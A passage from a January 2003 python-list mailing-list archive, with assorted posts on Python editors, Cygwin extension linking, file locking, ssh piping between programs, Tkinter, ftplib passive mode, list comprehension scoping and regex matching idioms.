Message-ID: <b022f2$cre$1@slb2.atl.mindspring.net>

FYI, Artima.com (http://www.artima.com) is featuring an interview with Guido
van Rossum in several weekly installments.   It just started, so it's not on
Guido's interview list at http://www.python.org/~guido/interviews.html.
The first part covers a bit of the history and genesis of Python, others
will probably delve into object oriented issues and comparisons of Python
with Java and the JVM.





From rganesan at myrealbox.com  Fri Jan  3 04:18:51 2003
From: rganesan at myrealbox.com (Ganesan R)
Date: 03 Jan 2003 14:48:51 +0530
Subject: Best Python editor (under Linux)
References: <pan.2003.01.02.12.09.57.823588@contillion.com> <025d32cf-da98-4afa-ab9f-2f3f978a9c38@news.szn.dk> <6lea1vop870pak8iuohinerilg304sd493@4ax.com> <slrnb19vmq.h00.grey@teleute.dmiyu.org> <x7bs2y98or.fsf@guru.mired.org> <slrnb1ac1r.j1t.grey@teleute.dmiyu.org>
Message-ID: <ouel7ur3pg.fsf@andlx-anamika.cisco.com>

>>>>> "Steve" == Steve Lamb <grey at despair.dmiyu.org> writes:

> On 02 Jan 2003 22:08:36 -0600, Mike Meyer <mwm at mired.org> wrote:
>> No, it's clearly the former. You're just confused about what a program
>> is. 

> No, I am not confused about what a program is.  However, I do not
> consider overzealous scripts written for an editor to be programs in their
> own right.

I see, it's about scripts. Programs written in Lisp are something beneath
you. That's fine :-).

> Point stands, Emacs is the very antithesis of the proper way to do things.
> It is a monolithic, bloated, musch-cram-every-feature-into-it piece of
> software.  26Mb for a "editor" is not what I consider reasonable or
> keeping in the tradition of small specialized programs that do one task
> well.

Point taken that you don't like Emacs. There's not much useful discussion
anyone can carry with you beyond that. I happen to like Emacs. I actually
that it's a bit bloated. Not 26MB though (more like 8 MB on start up and
then it grows to around 14/15MB because I have too many files open in it). I
prefer to use jed when I need something quick and relatively light weight. I
also happen to like vi. 

"Small specialized programs that do one task well" doesn't fit an editor. An
editor is a general purpose tool and an extensible one is a good thing
(TM). Modern editors come with "plugins" to extend them; guess what - Emacs
does the same thing, only the "plugins" are written in Lisp. 

Every "feature into it" is not part of the emacs core. You're complaining
about the fact that Emacs is extensible? I assume you consider Python
"bloated" because the it ships so many libraries included. You call it
"musch-cram-every-feature-into-it"; I call it "batteries included"
:-). Thanks for listening.

Ganesan

-- 
Ganesan R



From mghiggins2003 at hotmail.com  Sat Jan 25 21:42:41 2003
From: mghiggins2003 at hotmail.com (Mark Higgins)
Date: Sun, 26 Jan 2003 02:42:41 GMT
Subject: newbie: python/C extensions in cygwin
In-Reply-To: <uxAY9.50693$Oj7.10509228@twister.nyc.rr.com>
References: <uxAY9.50693$Oj7.10509228@twister.nyc.rr.com>
Message-ID: <BWHY9.64347$yi6.10452736@twister.nyc.rr.com>

Ah - found the prob - cygwin stuck libpython2.2.dll into /bin instead
of some more reasonable directory like /lib or /usr/lib. So I needed
-lpython2.2 and -L/bin in the compile line.

Mark Higgins wrote:
> Probably a dumb question, but googling around isn't turning up any 
> obvious solutions: I've got a module I built in linux, and I'm trying to 
> compile it under cygwin in window xp.
> 
> I changed .so's to .dll's, and other dlls are working fine.
> 
> However, when I try to compile my module:
> 
> g++ optmodule.cpp -g -shared -o optmodule.dll -lquant -L.
> 
> I'm getting the following link errors:
> 
> /cygdrive/c/DOCUME~1/Mark/LOCALS~1/Temp/ccH5wdB9.o(.text+0x52): In 
> function `_Z12opt_BSOptionP7_objectS0_':
> /src/Python/loki/optmodule.cpp:9: undefined reference to `_PyArg_Parse'
> /cygdrive/c/DOCUME~1/Mark/LOCALS~1/Temp/ccH5wdB9.o(.text+0xaa):/src/Python/loki/optmodule.cpp:19: 
> undefined reference to `_Py_BuildValue'
> /cygdrive/c/DOCUME~1/Mark/LOCALS~1/Temp/ccH5wdB9.o(.text+0xf2): In 
> function `initopt':
> /src/Python/loki/optmodule.cpp:29: undefined reference to `_Py_InitModule4'
> collect2: ld returned 1 exit status
> make: *** [optmodule.dll] Error 1
> 
> Looks like I need to add something to my LD_LIBRARY_PATH... but I'm not 
> sure what. Anyone care to enlighten my ignorance on this?
> 
> Thanks in advance!
> 




From uwe.schmitt at procoders.net  Wed Jan 29 19:39:46 2003
From: uwe.schmitt at procoders.net (Uwe Schmitt)
Date: 30 Jan 2003 00:39:46 GMT
Subject: biggles on windows
Message-ID: <b19s8i$11fvme$1@hades.rz.uni-sb.de>

Hi,

I tried to install the 2d plotting package biggles
(http://biggles.sf.net) on my Win2K machine. I use
ActiveState python.

My problem is the following: when using the binary
installer for biggles, the installer does not
find my python installation and entering the
apropriate path manually is not possible.

I posted the problem to the biggles mailing list
but got no answer.
Did anyone manage this problem ?

Greetings, Uwe.

-- 
Dr. rer. nat. Uwe Schmitt      Computer science is no more about Computers,
uwe.schmitt at num.uni-sb.de      than astronomy is about telescopes. (Dijkstra)
http://www.procoders.net           



From geoff at gerrietts.net  Wed Jan 22 01:33:20 2003
From: geoff at gerrietts.net (Geoff Gerrietts)
Date: Tue, 21 Jan 2003 22:33:20 -0800
Subject: Communication between two programs on unix
In-Reply-To: <1043204627.14129.142.camel@refugeeMedia>
References: <b0kvs0$o59$1@bob.news.rcn.net> <1043204627.14129.142.camel@refugeeMedia>
Message-ID: <20030122063320.GE17009@isis.gerrietts.net>

On Tue, 2003-01-21 at 23:14, morden wrote:
> I want to connect the standard output of the tkinter app to the stdin of 
> the motif app to return results and connect stdout of motif app to the
> input of the tkinter app. Is that doable? I suppose this is what 
> os.popen will do. Right?

The puzzle here is that "standard output" on your motif app and
"standard input" on your tkinter app are neither one likely to be what
you expect. If you start the tkinter app, standard input still reads
from the console, and standard output writes to the console.

If that's what you want -- a character-based input/output stream,
separate from the gui -- then you can proceed. If you're looking to
scrape widgets for their textual content, and auto-insert that into
another widget, you're talking somewhat more advanced X-Windows
sorcery, and I can't help you there.

> Scenario #1: I run my tkinter program with no flags and it
> 	popens motif app it should communicate with

This is true -- it will communicate with either standard input or
standard output on the motif app. Few motif apps would have much to
say on standard out, and wouldn't listen much to stdin, but you could
do it that way.

Take note however that when you popen, your tkinter program is /not/
going to have stdin opened to the target. You'll have a filehandle,
from which you can read.

> Scenario #2: I connect to a remote system using 'cu' from uucp package
> 	and run a unix app there communicating to my tkinter app spawned
> 	with ~+ sequence in cu (that's what you use to run rz/sz over cu 
> session, right?)

I only used uucp once, back in 1996, on recalcitrant SCO boxes.
Someone else will need to help you with this one. This seems like a
suboptimal way to set up a link, though.

My suspicion, however, is that you might implement a "file-like"
object, which, under the covers, uses sz and rz to manage upstream and
downstream connections to your motif app, you could be good to go.

> Scenario #3: I use ssh to get into a remote system and run a unix app 
> there. I have the following question about this scenario: How would I 
> connect input of the tkinter program to the output
> of the motif app and vice versa in this case? Is there any way to tell 
> ssh client to do this or I would have to modify my apps to have support 
> for ssl/tls?

This is actually more ssh magic than anything else. You can handle it
one of two ways -- you can either open the ssh connection inside a
bidirectional pipe, do an "expect"-like wait for the shell prompt,
then fire off your program and start reading the output, OR you can
talk ssh into executing a command as soon as it starts up.

I typically prefer the latter approach: for a vpn app I was working
on, I used:

  ssh -t -e none -c blowfish -o 'Batchmode yes' -l user host sudo pppd

That (-t) forces a pty to be allocated, (-e) turns off escape
characters, (-c blowfish) sets the cipher to blowfish, (-o 'Batchmode
yes') disables password querying in favor of rsa keys, (-l user)
identifies the remote user and (host) host, and when the connection is
made, (sudo pppd) executes the pppd daemon to set up the remote end of
a ppp link. Obviously, the (sudo pppd) trick is the salient bit,
though you'll probably like -t to be on as well.

Now that I've done my best to answer your questions, I'll amend that
it's probably, in many ways, easier to just persuade your programs to
use sockets.

--G.

-- 
Geoff Gerrietts <geoff at gerrietts dot net>     http://www.gerrietts.net/
 "Politics, as a practice, whatever its professions, has always been the 
          systematic organization of hatreds." --Henry Adams




From albgrig at tiscalinet.it  Thu Jan 16 11:46:04 2003
From: albgrig at tiscalinet.it (Alberto Griggio)
Date: Thu, 16 Jan 2003 17:46:04 +0100
Subject: TreeListCtrl with wxPython
References: <3E26988F.AAD023A2@imms.de>
Message-ID: <b06nj6$9u9$1@newsreader.mailgate.org>

On Thu, 16 Jan 2003 12:33:35 +0100, Steffen Michael wrote:

> Hi,
> I want to use a TreeList, a combination of the TreeCtrl and the
> ListCtrl. Exists such a class already, or do I have to program this
> class? And how I have to do this?
> Thanks for any hints,
> steffen
 
I have a C++ version at 
http://web.tiscali.it/no-redirect-tiscali/agriggio/wx-stuff.html
but I've had no time to wrap it in python yet. (But I'd be very
grateful if you could do it).

Cheers,
Alberto




From rjones at ekit-inc.com  Tue Jan 14 15:48:18 2003
From: rjones at ekit-inc.com (Richard Jones)
Date: Wed, 15 Jan 2003 07:48:18 +1100
Subject: portalocker in Win98
In-Reply-To: <aydHLjAkCGJ+Ewoi@jessikat.demon.co.uk>
References: <fe35b211.0301140932.62d3d334@posting.google.com> <aydHLjAkCGJ+Ewoi@jessikat.demon.co.uk>
Message-ID: <200301150748.18069.rjones@ekit-inc.com>

On Wed, 15 Jan 2003 6:10 am, Robin Becker wrote:
> In article <fe35b211.0301140932.62d3d334 at posting.google.com>, Vic
> <vic at innocent.com> writes
> >I'm brand new to Python. I saw Roundup working at work, and decided to
> >try an installation at home.
> >
> >The initial testing (run_tests) fails with 95 errors - these all
> >appear to be file-locking problems. I've scoured the web, and found
> >out about the unsupported file-lock stuff used by portalocker.py.
> >
> >So - has anyone got this going on Win98? Is there a potted solution I
> >can use, or have I got loads of re-coding to do (I'm a C programmer,
> >so thst's not going to happen any time soon...)
>
> There's another thread about this right now and some have suggested
> using a directory lock file to avoid certain NFS problems.

The issue at hand is that the portalocker code uses the win32 API to do 
locking on windows, but win98 doesn't support it. Or something. I'm not 
completely sure. I do know that NFS doesn't come into it...

If anyone knows how to lock a file on win98, I'd really appreciate a hint.


   Richard





From frobozz_electric at hotmail.com  Sat Jan 25 09:52:43 2003
From: frobozz_electric at hotmail.com (Sean Ross)
Date: Sat, 25 Jan 2003 09:52:43 -0500
Subject: (test?return_true:return_false)
References: <mailman.1043336848.6443.python-list@python.org> <1d4cf4c3.0301231155.f8bc70b@posting.google.com> <3E3087AF.DB0D06CB@alcyone.com> <slrnb32738.5jj.rmunn@localhost.localdomain> <XZjY9.12895$5K5.1015875@news20.bellglobal.com> <3E31DCD3.6C1E6AE3@alcyone.com>
Message-ID: <4xxY9.13750$5K5.1126060@news20.bellglobal.com>

"Erik Max Francis" <max at alcyone.com> wrote in message
news:3E31DCD3.6C1E6AE3 at alcyone.com...
> There are always ways to do it; the question is whether those ways
> belong in production code (especially in such an inherently readable and
> transparent language such as Python) or in obfuscated programming
> contests.


Actually, the question was

Mikael Sch?nenberg <micke at strakt.com> wrote in message
news:<mailman.1043336848.6443.python-list at python.org>...
> > Is there a python equivalent to the (test?return_true:return_false)

And the answer is no, but you can simulate it as follows...
But, thanks for the sermon...  ;)

Sean (The Converted)





From exarkun at intarweb.us  Sat Jan 25 13:21:54 2003
From: exarkun at intarweb.us (Jp Calderone)
Date: Sat, 25 Jan 2003 13:21:54 -0500
Subject: How to download a file only once
In-Reply-To: <3E32D7DC.6566.1A8145@localhost>
References: <3E32D7DC.6566.1A8145@localhost>
Message-ID: <20030125182154.GA19209@meson.dyndns.org>

On Sat, Jan 25, 2003 at 06:30:52PM +0100, A wrote:
> Hi all,
>  
> My Python application runs on  users' computers.
>  I want to allow  one and only one user to download one file from the list of files that are on 
> server. This file, after being downloaded, can not be downloaded any more.
> What is the best solution of that problem?

  There is no workable approach to this problem, save to redefine your
desires.

  Why do you want to impose this restriction?  Maybe someone can offer a
better solution to the *real* problem you face.

  Jp

-- 
I have a new method for blowing off the idiots who ask questions.  I say, 
'That information is on my web page.  Shoo, shoo.

What happens when they find out it isn't?

I'll say, 'You must have misunderstood your question'
                - Scott Adams, Dilbert
-- 
 up 40 days, 21:49, 6 users, load average: 0.52, 0.55, 0.53
-------------- next part --------------
A non-text attachment was scrubbed...
Name: not available
Type: application/pgp-signature
Size: 196 bytes
Desc: not available
URL: <http://mail.python.org/pipermail/python-list/attachments/20030125/04264937/attachment.sig>

From bdeck at lycos.co.uk  Fri Jan 10 07:29:52 2003
From: bdeck at lycos.co.uk (deckerben)
Date: Fri, 10 Jan 2003 13:29:52 +0100
Subject: import unknown module name
References: <3e1e165c$0$3013$9b622d9e@news.freenet.de> <avl75m$ml7$1@slb4.atl.mindspring.net> <d6n5jvj6.fsf@python.net>
Message-ID: <3e1ec34b$0$21167$9b622d9e@news.freenet.de>

"Thomas Heller" <theller at python.net> wrote in message
news:d6n5jvj6.fsf at python.net...
> Andrew Dalke <adalke at mindspring.com> writes:
>
> > In general, __import__ returns the top-level module,
> > and not the submodules.  You'll need to do
> >
> >    codepage = getattar(__import__(pagename), "oldpage")

Thanks! The solution was:
codepage = getattr(__import__(pagename), oldpage)

Ben





From Vector180W at netscape.net  Fri Jan 31 02:04:41 2003
From: Vector180W at netscape.net (vector)
Date: Fri, 31 Jan 2003 18:04:41 +1100
Subject: TKinter Entry question
Message-ID: <3E3A2009.7040700@netscape.net>

Q1 can I put some pre text in the entry box?. How?
Q2 how do I know when/if to get the users entry?
		does Python/tk set a flag.
Im trying to achieve a simple GUI(within a frame of other buttons etc)
entry box, that i can shove some pre text in(default) but allow a user
to modify.

Status=ActivePython,xp,newbie

Im having trouble with the Entry code in TK
<snip>
self.e_fanon=Entry(frame,width=5)
self.e_fanon.grid(row=l_row,column=1,sticky=W)
<endsnip>

ta




From list.adam at twardoch.com  Wed Jan 15 20:31:34 2003
From: list.adam at twardoch.com (Adam Twardoch)
Date: Thu, 16 Jan 2003 02:31:34 +0100
Subject: Locale-sensitive list separator under Windows
References: <b04qa1$l5l8c$1@ID-135222.news.dfncis.de> <b051kv$230$00$1@news.t-online.com>
Message-ID: <b052sg$lrq2f$1@ID-135222.news.dfncis.de>

"Martin v. L?wis" <martin at v.loewis.de> wrote in message
news:b051kv$230$00$1 at news.t-online.com...
> Adam Twardoch wrote:
> > How can make Python resolve the locale-sensitive list separator under
> > Windows? I mean the one that is set under Control Panel / Regional
Options /
> > Numbers / List separator.
>
> Is locale.localeconv()['thousands_sep'] what you want?

No, unfortunately not. The thousands_sep is what the Windows API
GetLocaleInfoW function returns if the LCType LOCALE_STHOUSAND = &HF is
called. I need the value that is returned when the LCType LOCALE_SLIST = &HC
is called. Typically, it's a comma (in English locales) or semicolon (in
German or Polish locale). These are used to separate text entries in lists
such as e-mail address lists.

Anybody else?

BTW: The code to do what I need in Visual Basic would be following:

' Start here
Option Compare Text
Option Explicit

Private Declare Function GetLocaleInfoW Lib "kernel32" _
 (ByVal LCID As Long, ByVal LCType As LCTypeEnum, _
 ByVal lpData As Long, ByVal cchData As Integer) As Integer

Public Function GetLocaleInfoC(Locale As Long, _
  LCType As LCTypeEnum) As String
    Dim stBuff As String
    Dim rc As Long
    stBuff = String$(255, vbNullChar)
    rc = GetLocaleInfoW(Locale, LCType, StrPtr(stBuff), Len(stBuff))
    If (rc > 0) Then
      GetLocaleInfoC = StFromSz(stBuff)
    End If
End Function

Sub Main()
  MsgBox(GetLocaleInfoC(1024,&HC)
End Sub
' End here

Now, who could help me translate this into Python? I have no idea how you
call a kernel32.dll function from within Python (or the Python win32all
extensions).

Thanks in advance!
Adam




From klaatu at evertek.net  Fri Jan 31 20:52:00 2003
From: klaatu at evertek.net (Mike Dean)
Date: 1 Feb 2003 01:52:00 GMT
Subject: will Python do me good?
References: <65050d4c.0301311603.4eb79a85@posting.google.com>
Message-ID: <b1f980$4e6$1@ins22.netins.net>

On 31 Jan 2003 16:03:26 -0800 samphdauto <samj at eisa.net.au> wrote:
> Hello every one.. Well, this is the first time I post here since I am
> thinking of learning Python...

Good choice!

> [description of project snipped]
> 
> So if I give it a list of websites. I will need to write the code to
> get specific info from that site or page. So it may need to drill down
> to get to the info. I am not sure if I am making enough sense to you.
> I hope I am.

Python is a very good language for this.  It has an HTML parser
(actually, two of them) in the standard library included with the
download, so drilling through a Web page is relatively easy.  I've
written a script once to scavenge links from a hand-coded link page into
a database, and it was relatively easy to write (aside from the issues
of nonconsistency of HTML tags, which you would have to deal with in any
language).  I'd recommend the HTMLParser in Python 2.2 though, rather
than the older htmllib in previous versions - it's a bit easier to
understand how it works (for me at least).  And as far as the database
access goes, there is a package for Python (win32all) that allows access
to COM objects, so you can access your Access db with DAO/Jet or ADO, in
a virtually identical way as you would in VB.

Combine those abilities with the cleanliness and sheer pleasure of
writing Python code, and it's definately worth seriously investigating
Python for your project.

Good luck!
-Michael



From dale at riverhall.NOTHANKS.co.uk  Thu Jan 30 15:35:55 2003
From: dale at riverhall.NOTHANKS.co.uk (Dale Strickland-Clark)
Date: Thu, 30 Jan 2003 20:35:55 +0000
Subject: WinCVS macros
Message-ID: <0r2j3v4e6hpv4ed4i0g7f60bp7tt8qksk0@4ax.com>

This will be old news to some, I'm sure but I only discovered it a
week ago.

WinCVS, a nice GUI interface to CVS client commands, is replacing TCL
as the macro language with Python.

It's only in beta at the moment but we're using it with no problems.

Now as soon as I can figure out how to get WinCVS to put 'Edit with
Pythonwin' on the context menu for .py files, or better still, edit
them on a double-click instead of running them, I will be happy.


--
Dale Strickland-Clark
Riverhall Systems Ltd



From chergarj at cs.com  Thu Jan  2 19:43:49 2003
From: chergarj at cs.com (Chergarj)
Date: 03 Jan 2003 00:43:49 GMT
Subject: what do after installing Python2 ?
Message-ID: <20030102194349.13948.00000414@mb-cr.news.cs.com>

Just yesterday I installed Python2  from a Hungry Minds CD that came with
"Beginning Programming for Dummies".  The documentation is not straight clear
about how to get started.  The help guide with a tutorial discusses configuring
and building python, but doesn't say exactly how to do each or either.  

I use Windows 98; like I said, the Python2 is installed from a CD that came
with "Beginning Programming for Dummies".    Is this Python2 really suitable
for beginners?  What am I missing?   How Am I missing it?

G C



From siggy2 at supereva.it  Fri Jan 31 03:36:59 2003
From: siggy2 at supereva.it (PiErre)
Date: 31 Jan 2003 00:36:59 -0800
Subject: strange solution with ftplib and changed firewall rules
Message-ID: <33a15593.0301310036.406c7ac1@posting.google.com>

Dear python-gurus,
   we had installed on several of our customers servers a python script
that  dayly downloads some files  (using ftplib - and timeoutsocket.py:
many thanks to Timothy O'Malley).
Recently a customer of ours changed his firewall and the ftp job
started to fail (connection was ok but after requesting a retrbinary
all we got was a <10054 "connection reset by peer">).
Instead if he try to get those files via normal ftp client 
(say %windir%\system32\ftp.exe), all was fine.
We discover the nasty trick after some hour: we forced the connection 
in active mode (with  our_ftp_object.set_pasv(0)) and - bang - all was ok!
The hint I discover: 
I read past post when in earlier python versions "passive mode" was NOT 
the default setting and someone solved trouble like mine using 
our_ftp_object.set_pasv(1) (funny!).

Isn't all this problem twisted? Or is my solution twisted?

Since it seems that quite all the firewalls in the world allows passive
connections if any should I warn my customer that he could have
a security problem?

TIA for your help!
bye,
   PiErre



From cmkleffner at gmx.de  Wed Jan  8 03:26:57 2003
From: cmkleffner at gmx.de (cmkl)
Date: 8 Jan 2003 00:26:57 -0800
Subject: python 2.2.2 on hpux11.0
References: <461d4acb.0301061720.fe0bcfd@posting.google.com> <3E1A31E7.F8D69DEB@alcyone.com> <461d4acb.0301070808.6199fdfb@posting.google.com>
Message-ID: <3b091a1c.0301080026.79678f28@posting.google.com>

imiten at yahoo.com (X3) wrote in message news:<461d4acb.0301070808.6199fdfb at posting.google.com>...
> Hello group,
> 
> I am adding stdout and stderr of configure and make.  please let me
> know if any questions.  I think I need c compiler and stuff.  thanks.
> 
...
> make output:
> -------------
> 	cc -Ae -c -DNDEBUG -O -I. -I./Include -DHAVE_CONFIG_H  -o
> Modules/python.o Modules/python.c
> (Bundled) cc: warning 480: The -A option is available only with the
> C/ANSI C product; ignored.
> (Bundled) cc: warning 480: The -O option is available only with the
> C/ANSI C product; ignored.

Hi,

seems you don't have installed HP ANSI C compiler, only the K/R C compiler
capable for Kernel compiling only. Other possibility: ANSI c (command 'cc')
is not in your path.
Ask your system administrator or install gcc as an alternative 
(ask me private on how to do that on HPUX if necessary)

Carl Kleffner                                           cmkleffner(at)gmx.de



From jorgencederberg at hotmail.com  Fri Jan 31 04:43:15 2003
From: jorgencederberg at hotmail.com (=?ISO-8859-1?Q?J=F8rgen_Cederberg?=)
Date: Fri, 31 Jan 2003 10:43:15 +0100
Subject: WinCVS macros
References: <0r2j3v4e6hpv4ed4i0g7f60bp7tt8qksk0@4ax.com> <3E3A1E6F.30800@hotmail.com> <j0gk3v0b3ab75j7el7t8kg7g1rudptiudu@4ax.com>
Message-ID: <3E3A4533.1070507@hotmail.com>

Dale Strickland-Clark wrote:
> J?rgen Cederberg <jorgencederberg at hotmail.com> wrote:
> 
> 
>>Not that difficult (unless the interface has changed dramatically since 
>>the ver. 1.2 I use). Select the 'Admin' menu, then 'Preferences'. Select 
>>the 'WinCvs' tab. Here you can enter the 'Default Viewer used to open 
>>files' and even select the 'Use on double click' check box if desired.
>>
>>Hope this helps
>>J?rgen
> 
> 
> Unfortunately, that is a blanket option and not specific to .py files.

Okay. I misunderstood what you meant. Yes it would be nice to be able to 
use different viewers/editors for different types of files.

Regards
J?rgen




From bokr at oz.net  Wed Jan  8 10:52:23 2003
From: bokr at oz.net (Bengt Richter)
Date: 8 Jan 2003 15:52:23 GMT
Subject: no side effects
References: <2259b0e2.0301080510.3b2e5d4f@posting.google.com>
Message-ID: <avhhfn$tup$0@216.39.172.122>

On 8 Jan 2003 05:10:04 -0800, mis6 at pitt.edu (Michele Simionato) wrote:

>I was surprised by the following code:
>
>>>> for i in [1,2,3]:
>...     print i,
>...     i=3
>
>I would have expected only 1 to be printed, but instead Python
>continues the loop without noticing that the value of i has
>changed. IOW, no side effect.

I'm not sure what you mean by "side effect" here, but UIAM "i"
is effectively being bound/assigned-to as if something like this
was happening: (I changed your 3 to 4 to show final value effect)

 >>> it = iter([1,2,3])
 >>> try:
 ...     while 1:
 ...         i = it.next()
 ...         print i,
 ...         i=4
 ... except StopIteration:
 ...     pass
 ...
 1 2 3
 >>> i
 4

 >>> for i in [1,2,3]:
 ...     print i,
 ...     i=4
 ...
 1 2 3
 >>> i
 4

In other words, "i" is not part of the loop control conditions, but
it does get assigned to. The i=4 value doesn't get used at all,
as it's just overwritten by the next value from the iterator --
except when the StopIteration exception happens, which doesn't
assign anything to i, so leaves the last value assigned elsewhere alone.

Regards,
Bengt Richter



From eric.brunel at pragmadev.com  Tue Jan 14 09:23:50 2003
From: eric.brunel at pragmadev.com (Eric Brunel)
Date: Tue, 14 Jan 2003 15:23:50 +0100
Subject: flock experience
References: <mailman.1042547906.23740.python-list@python.org>
Message-ID: <b0165m$pmm$1@news-reader10.wanadoo.fr>

Todd Warner wrote:
> File-locking *can* be tricky. Word of caution: if the log-file resides
> on an NFS file-system, things can be... unreliable. We've had issues in
> the past with that. NFS, from what I understand, cannot guarantee when
> something is actually written to disk (note: not an NFS expert).

Did the issues you had involve only "regular" file locking via flock or 
fcntl, or file read/writes as well?

I'm quite interested because we had a similar problem, with an added 
complexity: the file system we used was exported to Unix workstations via 
NFS and to Windows PCs via samba. I tried to use the portalocker module as 
found in ActiveState's Python Cookbook ( 
http://aspn.activestate.com/ASPN/Cookbook/Python/Recipe/65203 ), but it 
didn't seem to work as expected: a lock set on Unix worked among Unix 
workstations, but not for Windows PCs, and Windows didn't seem to be able 
to lock anything on the shared disk.

So we ended up doing our own lock system, based on the (maybe wrong) idea 
that a directory creation on any disk, shared or not, is supposed to be 
atomic: either the directory doesn't exist, and the creation works, or the 
directory already exists, and the creation fails.

So here is a simplified version of the code for our locking system:

-------------------------------
import os

class AlreadyLocked(Exception):
  pass

class FileLock:

  def __init__(self, fileName):
    self.__lockName = os.path.join(os.path.dirname(fileName),
                                   ".%s.lck" % os.path.dirname(fileName))
    try:
      os.mkdir(self.__lockName)
    except OsError:
      self.__lockName = None
      raise AlreadyLocked()

  def release(self):
    if self.__lockName is None: return
    os.rmdir(self.__lockName)
------------------------------

Until now, this method has been quite successful. But is it really secure, 
or may we get problems someday?
-- 
- Eric Brunel <eric.brunel at pragmadev.com> -
PragmaDev : Real Time Software Development Tools - http://www.pragmadev.com



From bokr at oz.net  Fri Jan 17 11:26:16 2003
From: bokr at oz.net (Bengt Richter)
Date: 17 Jan 2003 16:26:16 GMT
Subject: comprehensions was Re: Switch statements again
References: <1042670767.3e25e4afa12e5@www.progoth.com> <mailman.1042672181.22990.python-list@python.org> <a8b7f07a.0301160724.424a1025@posting.google.com> <200301160736.18786.shalehperry@attbi.com> <Pine.LNX.4.51.0301160916220.9165@ns0.tbye.com> <mailman.1042740101.18359.python-list@python.org> <ad496f8.0301170354.3bc49338@posting.google.com> <3E27F175.7C9FE6B2@alcyone.com>
Message-ID: <b09ar8$3fs$0@216.39.172.122>

On Fri, 17 Jan 2003 04:05:09 -0800, Erik Max Francis <max at alcyone.com> wrote:

>Ville Vainio wrote:
>
>> Of course, there is still the embarrassing issue of the list
>> comprehension variable not being local to the list comprehension. Why,
>> oh why won't people pre-deprecate it... at least in the documentation.
>> Any hope to get it into the tutorial/lang reference for 2.3 :)?
>
>Probably for the same reason that other iterative constructs that
>introduce variables don't make them local to that structure either:
>
>>>> [x for x in range(10)]
>[0, 1, 2, 3, 4, 5, 6, 7, 8, 9]
>>>> x
>9
>>>> for y in range(10): print y,
>... 
>0 1 2 3 4 5 6 7 8 9
>>>> y
>9
>
>If one annoys you, surely the other would, too?

I think the case is stronger for making list comprehension variables
have their own scope, because it is an expression, whereas for ... is a
statement. If statement suites of some kind got their own local scope,
then for variables should probably be local to the suite block, but we
don't have that.

<try:>

List comprehensions shoot stray name-bullets into the current name crowd,
and IMO that's bad for an expression to do.

<except ExcessiveMetaphorElaborationError:>
   <pass ;-)>

Regards,
Bengt Richter



From brian at sweetapp.com  Sat Jan  4 04:11:02 2003
From: brian at sweetapp.com (Brian Quinlan)
Date: Sat, 04 Jan 2003 01:11:02 -0800
Subject: Explicit Frustration of the Self
In-Reply-To: <a1d2c9b4.0301040025.58f46c0e@posting.google.com>
Message-ID: <007f01c2b3d1$348a70a0$21795418@dell1700>

> Another thought: how OO is Python?  

Well, the definition of object-orientation in my software engineering
textbook mentions:

1. Indirection 
2. Encapsulation 
3. Inheritence 
4. Polymorphism

Python has all of above. 

> But do these objects really have methods?  I don't think so.

Then you are wrong.

> Not with the way self acts now.  Right now, you are effectively,
> creating functions and then calling them with the first argument
> outside of the parenthesis, and to the left of the function, and a
> dot.

That is not actually the case. Methods are bound to particular
instances, while functions are not.

But even if you were correct, so what? Your notion of object-orientation
seems very syntactic.

Cheers,
Brian





From max at alcyone.com  Thu Jan 23 19:28:36 2003
From: max at alcyone.com (Erik Max Francis)
Date: Thu, 23 Jan 2003 16:28:36 -0800
Subject: Python use growing or shrinking
References: <v2rhpd4d6p8f79@corp.supernews.com> <dJHX9.7044$Sv3.695182@newsread1.prod.itd.earthlink.net> <3E301F4A.3060803@nipltd.com> <3E3023B0.7060000@Linux.ie> <MpWX9.8260$bL4.814094@newsread2.prod.itd.earthlink.net>
Message-ID: <3E3088B4.27A46725@alcyone.com>

Terry Hancock wrote:

> I think the point is that "never", "always", "nothing", and
> "everything" are always hyperboles. 
   ^^^^^^^^^^

You are so busted :-).

-- 
 Erik Max Francis / max at alcyone.com / http://www.alcyone.com/max/
 __ San Jose, CA, USA / 37 20 N 121 53 W / &tSftDotIotE
/  \ An undevout astronomer is mad.
\__/ Edward Young
    Bosskey.net: Quake III Arena / http://www.bosskey.net/q3a/
 A personal guide to Quake III Arena.



From gbrunet at nospamsempersoft.com  Tue Jan 21 21:58:30 2003
From: gbrunet at nospamsempersoft.com (Greg Brunet)
Date: Tue, 21 Jan 2003 20:58:30 -0600
Subject: Outlook Express and COM
References: <2ulX9.83789$Yo4.4666988@news1.calgary.shaw.ca>
Message-ID: <v2s274lh7e0vd3@corp.supernews.com>

This site has a wealth of info about OE and the WAB (Windows Address
Book) both standalone & shared, but unfortunately I don't see a COM
interface or file layout info.  You might want to try one of the OE
newsgroups: e.g.
news://msnews.microsoft.com/microsoft.public.windows.inetexplorer.ie6_ou
tlookexpress

--
Greg


"John E. Barham" <jbarham at jbarham.com> wrote in message
news:2ulX9.83789$Yo4.4666988 at news1.calgary.shaw.ca...
> Apologies as this is somewhat off-topic, but if there does exist an OE
COM
> interface I could develop a prototype in Python w/ the Win32
extensions and
> the final app in C++.





From sschwarzer at sschwarzer.net  Sat Jan 25 16:14:17 2003
From: sschwarzer at sschwarzer.net (Stefan Schwarzer)
Date: Sat, 25 Jan 2003 22:14:17 +0100
Subject: How to do this in Python...
References: <b0pnfa$o8m2@eccws12.dearborn.ford.com> <3E31568E.FD9C92B5@engcorp.com> <b0s6fq$95s5@eccws12.dearborn.ford.com> <3E31BFF0.9B12EE62@engcorp.com>
Message-ID: <b0uuna$66f$1@news.online.de>

Peter Hansen wrote:
> Michael Tiller wrote:
>> 
>> I want to be clear about something.  I have no particular fondness for
>> the...
>> if (a=b) then ...
>> "feature" in C.  > My main problem is that I wanted to do involved mutually
>> exclusive cases, e.g.,
>> 
>> if (match=re.match(pattern1,string)):
>>   // Hey I found something that matches pattern1
>> elif (match=re.match(pattern2,string)):
>>   // This matches pattern2
>> elif (match=re.match(pattern3,string)):
>>   // This matches pattern3
>> else:
>>   // I didn't find a match
>> 
>> Now for those who think that the above code is "obfuscated", I would argue
>> that this is far worse:
> [snip ugly non-Pythonic alternative]
> 
> There are probably "better" ways of approaching this in Python than trying
> to structure it with a large series of if/elif's, even if Python had the
> construct you were seeking.  The approach I would choose would probably be 
> to put the various patterns in a nice list of tuples along with function 
> references which actually implement the code I need, then iterate over it
> with a simple for loop, calling the function corresponding to whichever
> pattern first matches.

So we could get something like

potential_patterns = (pattern1, pattern2, pattern3)
for pattern in potential_patterns:
     match = re.match(pattern, string)
     if match is not None:
